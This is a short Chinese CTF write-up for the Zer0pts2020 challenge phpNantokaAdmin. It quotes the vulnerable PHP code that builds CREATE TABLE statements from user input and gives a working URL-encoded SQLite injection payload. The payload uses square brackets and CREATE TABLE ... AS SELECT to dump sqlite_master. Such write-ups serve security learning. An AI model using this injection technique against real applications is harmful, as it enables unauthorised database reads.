BUUOJ刷题记录 [Zer0pts2020]phpNantokaAdmin

BUUOJ刷题记录 [Zer0pts2020]phpNantokaAdmin

开局送源码,SQLite注入(大概)
is_valid过滤了很多字符,但是[]还能用。

攻击原理

1. 在SQLite中[]可代替反引号包裹列名。
2. SQLite支持“create table …… as ……”的用法,用其他表的内容来创建新的表。

可利用的位置:

  $sql = "CREATE TABLE {$table_name} (";
  $sql .= "dummy1 TEXT, dummy2 TEXT";
  for ($i = 0; $i < count($columns); $i++) {
    $column = (string) ($columns[$i]['name'] ?? '');
    $type = (string) ($columns[$i]['type'] ?? '');

    if (!is_valid($column) || !is_valid($type)) {
      flash('Column name or type contains dangerous characters.');
    }
    if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {
      flash('Column name and type must be 1-32 characters.');
    }

    $sql .= ', ';
    $sql .= "`$column` $type";
  }

payload:

table_name=A+as+select+sql+[+&columns%5B0%5D%5Bname%5D=asd&columns%5B0%5D%5Btype%5D=]+sqlite_master

这样拼接后的sql语句就会是

CREATE TABLE A AS SELECT sql [ (dummy1 TEXT, dummy2 TEXT, `asd` ]FROM sqlite_master;);

括号中的被当做是sql的别名。
然后把sql_master和sql分别换成查到的表名和列名分别就ok了。

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注